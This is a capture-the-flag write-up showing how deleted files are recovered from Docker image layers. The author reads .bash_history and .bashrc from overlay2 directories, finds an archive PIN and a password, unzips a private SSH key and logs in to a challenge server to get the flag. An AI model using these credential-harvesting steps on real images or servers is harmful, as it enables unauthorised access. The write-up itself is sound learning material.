logo

Apparently we’ll have to gain an SSH access, maybe with a username:password or an SSH key, let’s dig into it.

First of all we have to pull the Docker image with:

magnussen@funcMyLife:~/naughtydocker$ docker run --rm -p 3000:3000 -d santactf/app

We can see the container with:

magnussen@funcMyLife:~/naughtydocker$ docker ps -a
CONTAINER ID        IMAGE               COMMAND                  CREATED              STATUS              PORTS                    NAMES
a400dd3e7d9b        santactf/app        "docker-entrypoint.s…"   About a minute ago   Up About a minute   0.0.0.0:3000->3000/tcp   compassionate_sinoussi

When we go on 0.0.0.0:3000, we have the following message: Some production Santa CTF app.

Exploring emptiness

We’ll start by digging into the application by checking the source code with:

magnussen@funcMyLife:~/naughtydocker$ docker exec -it --user root compassionate_sinoussi bash
root@a400dd3e7d9b:/ cat /home/node/server.js

const fastify = require('fastify')({
    logger: true
});

fastify.get('/', function (request, reply) {
    reply.send('Some production Santa CTF app');
});

fastify.listen(3000, '0.0.0.0', function (err, address) {
    if (err) {
        fastify.log.error(err);
        process.exit(1);
    }
    fastify.log.info(`Server listening on ${address}`);
});

process.on('SIGTERM', function () {
    fastify.close(function(){
        process.exit(0);
    });
});

The application is pretty simple, no clue about any SSH access. We also have 46 modules, but I’m too lazy to check all of them.

We can also search for the .ssh directory, check the /etc/ssh_config folder, or look through the logs:

root@a400dd3e7d9b:/home/node# ls -alh
total 44K
drwxr-xr-x  1 root root 4.0K Dec 18 20:55 .
drwxr-xr-x  1 root root 4.0K Dec 16 07:28 ..
-rw-r--r--  1 node node  220 May 15  2017 .bash_logout
-rw-r--r--  1 node node  675 May 15  2017 .profile
drwxr-xr-x 45 root root 4.0K Dec 18 20:55 node_modules
-rw-r--r--  1 root root  13K Dec 16 23:34 package-lock.json
-rw-r--r--  1 root root  241 Dec 16 23:34 package.json
-rw-r--r--  1 root root  458 Dec 18 20:53 server.js
root@a400dd3e7d9b:/home/node# ls -alh /etc/ssh/
total 556K
drwxr-xr-x 2 root root 4.0K Nov 23 00:13 .
drwxr-xr-x 1 root root 4.0K Dec 24 09:37 ..
-rw-r--r-- 1 root root 541K Jul 15 13:32 moduli
-rw-r--r-- 1 root root 1.7K Jul 15 13:32 ssh_config
root@a400dd3e7d9b:/home/node# ls -alh /var/log/
total 540K
drwxr-xr-x 1 root root 4.0K Nov 23 00:15 .
drwxr-xr-x 1 root root 4.0K Nov 18 00:00 ..
-rw-r--r-- 1 root root  14K Nov 23 00:15 alternatives.log
drwxr-xr-x 1 root root 4.0K Nov 23 00:14 apt
-rw-rw---- 1 root utmp    0 Nov 18 00:00 btmp
-rw-r--r-- 1 root root 188K Nov 23 00:15 dpkg.log
-rw-r--r-- 1 root root  32K Dec 18 20:39 faillog
-rw-r--r-- 1 root root  751 Nov 23 00:15 fontconfig.log
-rw-rw-r-- 1 root utmp 286K Dec 18 20:39 lastlog
-rw-rw-r-- 1 root utmp    0 Nov 18 00:00 wtmp
root@a400dd3e7d9b:/home/node# lastlog
Username         Port     From             Latest
root                                       **Never logged in**
daemon                                     **Never logged in**
bin                                        **Never logged in**
sys                                        **Never logged in**
sync                                       **Never logged in**
games                                      **Never logged in**
man                                        **Never logged in**
lp                                         **Never logged in**
mail                                       **Never logged in**
news                                       **Never logged in**
uucp                                       **Never logged in**
proxy                                      **Never logged in**
www-data                                   **Never logged in**
backup                                     **Never logged in**
list                                       **Never logged in**
irc                                        **Never logged in**
gnats                                      **Never logged in**
nobody                                     **Never logged in**
_apt                                       **Never logged in**
node                                       **Never logged in**

Well, nothing here… It seems that the developer cleaned everything on the actual container.

Looking back in time

Even if the developer erased his tracks on the docker, we can check the history of the docker image.

IMAGE                                                                     CREATED             CREATED BY
sha256:ddde36e2209357c424cca26ac5a0b46c2f864be797c053bed700422177ba7261   5 days ago          /bin/sh -c #(nop)  CMD ["node" "server.js"]
                                                                          5 days ago          /bin/sh -c #(nop)  USER node
                                                                          5 days ago          /bin/sh -c #(nop) COPY file:8b53431519dafa70baa13c0dd04861e8688090bfece040ae71244d2e14a66845 in /home/node/
                                                                          5 days ago          /bin/sh -c npm ci
                                                                          5 days ago          /bin/sh -c #(nop) COPY multi:2f093554c78265fc6aeb1cb343015e8e8e7227fee6a0504f55721b9af13a16a6 in /home/node/           
                                                                          5 days ago          /bin/sh -c #(nop) WORKDIR /home/node
                                                                          5 days ago          /bin/sh -c #(nop)  EXPOSE 3000
                                                                 5 days ago          /bin/sh -c #(nop)  CMD ["node"]
                                                                 5 days ago          /bin/sh -c #(nop)  ENTRYPOINT ["docker-entrypoint.sh"]
                                                                 5 days ago          /bin/sh -c #(nop) COPY file:6781e799bed1693e0357678a6692f346b66879c2248ff055a2ff51cc0a83288b in /usr/local/bin/
                                                                 5 days ago          /bin/sh -c ln -s /usr/local/bin/node /usr/local/bin/nodejs   && rm /home/node/.bashrc /home/node/.bash_history   && rm -rf /usr/share/prod-common
                                                                 5 days ago          /bin/sh -c ARCH= && dpkgArch="$(dpkg --print-architecture)"   && case "${dpkgArch##*-}" in     amd64) ARCH='x64';;     ppc64el) ARCH='ppc64le';;     s390x) ARCH='s390x';;     arm64) ARCH='arm64';;     armhf) ARCH='armv7l';;     i386) ARCH='x86';;     *) echo "unsupported architecture"; exit 1 ;;   esac   && curl -fsSLO --compressed "https://nodejs.org/dist/v$NODE_VERSION/node-v$NODE_VERSION-linux-$ARCH.tar.xz"   && curl -fsSLO --compressed "https://nodejs.org/dist/v$NODE_VERSION/SHASUMS256.txt.asc"   && tar -xJf "node-v$NODE_VERSION-linux-$ARCH.tar.xz" -C /usr/local --strip-components=1 --no-same-owner   && rm "node-v$NODE_VERSION-linux-$ARCH.tar.xz" SHASUMS256.txt.asc
                                                                 5 days ago          /bin/sh -c #(nop) COPY dir:795933707ce316a3189ec6fd11f015b1acbc4eae6d5f01185625a86edaa2c5c4 in /
                                                                 5 days ago          /bin/sh -c #(nop)  ENV NODE_VERSION=12.13.1
                                                                 5 days ago          /bin/sh -c groupadd --gid 1000 node   && useradd --uid 1000 --gid node --shell /bin/bash --create-home node
                                                                 4 weeks ago         /bin/sh -c set -ex;  apt-get update;  apt-get install -y --no-install-recommends   autoconf   automake   bzip2   dpkg-dev   file   g++   gcc   imagemagick   libbz2-dev   libc6-dev   libcurl4-openssl-dev   libdb-dev   libevent-dev   libffi-dev   libgdbm-dev   libglib2.0-dev   libgmp-dev   libjpeg-dev   libkrb5-dev   liblzma-dev   libmagickcore-dev   libmagickwand-dev   libmaxminddb-dev   libncurses5-dev   libncursesw5-dev   libpng-dev   libpq-dev   libreadline-dev   libsqlite3-dev   libssl-dev   libtool   libwebp-dev   libxml2-dev   libxslt-dev   libyaml-dev   make   patch   unzip   xz-utils   zlib1g-dev     $(    if apt-cache show 'default-libmysqlclient-dev' 2>/dev/null | grep -q '^Version:'; then     echo 'default-libmysqlclient-dev';    else     echo 'libmysqlclient-dev';    fi   )  ;  rm -rf /var/lib/apt/lists/*   562MB               
                                                                 4 weeks ago         /bin/sh -c apt-get update && apt-get install -y --no-install-recommends   bzr   git   mercurial   openssh-client   subversion     procps  && rm -rf /var/lib/apt/lists/*
                                                                 4 weeks ago         /bin/sh -c set -ex;  if ! command -v gpg > /dev/null; then   apt-get update;   apt-get install -y --no-install-recommends    gnupg    dirmngr   ;   rm -rf /var/lib/apt/lists/*;  fi
                                                                 4 weeks ago         /bin/sh -c apt-get update && apt-get install -y --no-install-recommends   ca-certificates   curl   netbase   wget  && rm -rf /var/lib/apt/lists/*
                                                                 4 weeks ago         /bin/sh -c #(nop)  CMD ["bash"]
                                                                 4 weeks ago         /bin/sh -c #(nop) ADD file:152359c10cf61d80091bfd19e7e1968a538bebebfa048dca0386e35e1e999730 in /

Well, well, well, it seems that the developer erased those files:

  • /home/node/.bashrc
  • /home/node/.bash_history
  • /usr/share/prod-common

We can see a lot of missing id.

Follow the tracks

Even if we can’t navigate in a previous layer we can still read those files!

magnussen@funcMyLife:/var/lib/docker# find . -name prod-common
./overlay2/46fd518e28b0de9dc0d8f33ded5d7ab07d43d713b8548f797be16561123d2b48/diff/usr/share/prod-common
magnussen@funcMyLife:/var/lib/docker# tree -a ./overlay2/46fd518e28b0de9dc0d8f33ded5d7ab07d43d713b8548f797be16561123d2b48/diff/
./overlay2/46fd518e28b0de9dc0d8f33ded5d7ab07d43d713b8548f797be16561123d2b48/diff/
--- home
|   --- node
|       --- .bash_history
|       --- .bashrc
--- usr
    --- share
        --- prod-common
            --- dev_081219_backup.zip
            --- dev_091219_backup.zip
            --- dev_101219_backup.zip
            --- dev_111219_backup.zip
            --- dev_121219_backup.zip
            --- dev_131219_backup.zip
            --- dev_141219_backup.zip
            --- dev_151219_backup.zip
            --- dev_161219_backup.zip

Maybe the developer entered his password in the command-line and we can retrieve it with the .bash_history.

I’m omitting some lines, but here’s what we can find in the .bash_history:

magnussen@funcMyLife:/var/lib/docker# cat ./overlay2/46fd518e28b0de9dc0d8f33ded5d7ab07d43d713b8548f797be16561123d2b48/diff/home/node/.bash_history
export ARCHIVE_PIN=25362
ls ~/.ssh
cd ~
ssh-keygen -t rsa -C jmding0714@gmail.com
cd ~/.ssh/
nano authorized_keys
zip --password "$ARCHIVE_PIN" "$PRODUCTION_BACKUP_FILE" id_santa_production*
ssh -p 5700 rudolf-the-reindeer@46.30.204.47

Nice, we have the username and the IP of the production server, a password, and we can see that the developer has generated an ssh-key and changed the authorized_keys.

Let’s check out the other files.

I’m omitting some lines, but here is what we can find in the .bashrc:

magnussen@funcMyLife:/var/lib/docker# cat ./overlay2/46fd518e28b0de9dc0d8f33ded5d7ab07d43d713b8548f797be16561123d2b48/diff/home/node/.bashrc
# Should make life easier for development
if [ "$NODE_ENV" = "developer_workstation" ]; then
    export PRD_PWD='HoHoHo2020!NorthPole'
fi

With the ARCHIVE_PIN (25362) password we can unzip a folder under prodcommon:

magnussen@funcMyLife:/var/lib/docker# unzip ./overlay2/46fd518e28b0de9dc0d8f33ded5d7ab07d43d713b8548f797be16561123d2b48/diff/usr/share/prod-common/dev_141219_backup.zip
Archive:  dev_141219_backup.zip
[dev_141219_backup.zip] id_santa_production password:
  inflating: id_santa_production     
  inflating: id_santa_production.pub

Wow, an SSH key!

I’m in.

Let’s try to connect to the production server with it.

magnussen@funcMyLife:/var/lib/docker# ssh -o "IdentitiesOnly=yes" -i id_santa_production -p 5700 rudolf-the-reindeer@46.30.204.47
The authenticity of host '[46.30.204.47]:5700 ([46.30.204.47]:5700)' can't be established.
ECDSA key fingerprint is SHA256:Txv3goHZqkUkwjfAUvmJ9L1eAOtVZBC/f052V0jnCWc.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '[46.30.204.47]:5700' (ECDSA) to the list of known hosts.
Enter passphrase for key 'id_santa_production':

Damned, we need the passphrase, let’s try the PRD_PWD we’ve found in the .bashrc (HoHoHo2020!NorthPole), we haven’t used it yet.

magnussen@funcMyLife:/var/lib/docker# ssh -o "IdentitiesOnly=yes" -i id_santa_production -p 5700 rudolf-the-reindeer@46.30.204.47  
The authenticity of host '[46.30.204.47]:5700 ([46.30.204.47]:5700)' can't be established.  
ECDSA key fingerprint is SHA256:Txv3goHZqkUkwjfAUvmJ9L1eAOtVZBC/f052V0jnCWc.  
Are you sure you want to continue connecting (yes/no)? yes  
Warning: Permanently added '[46.30.204.47]:5700' (ECDSA) to the list of known hosts.  
Enter passphrase for key 'id_santa_production':  

___ _ _ _ _____ _ ___ _____ ___  
/ __| /_\ | \| |_ _/_\ / __|_ _| __|  
\__ \/ _ \| .` | | |/ _ \ | (__ | | | _|  
|___/_/ \_\_|\_| |_/_/ \_\ \___| |_| |_|  

Well done, the flag is SANTA{NeverTrustDockerImages7263}  
You may now log out of this server with "exit"  

-bash-5.0$  

Yay, we’re connected to the production server and we have the flag!

This was a really nice challenge, first time for me investigating on Docker, I’ve learned a lot of things!

Thank you Saluki for this challenge and congratulation to the Santhackclaus Team for this awesome and well-balanced CTF! Can’t wait for the v3!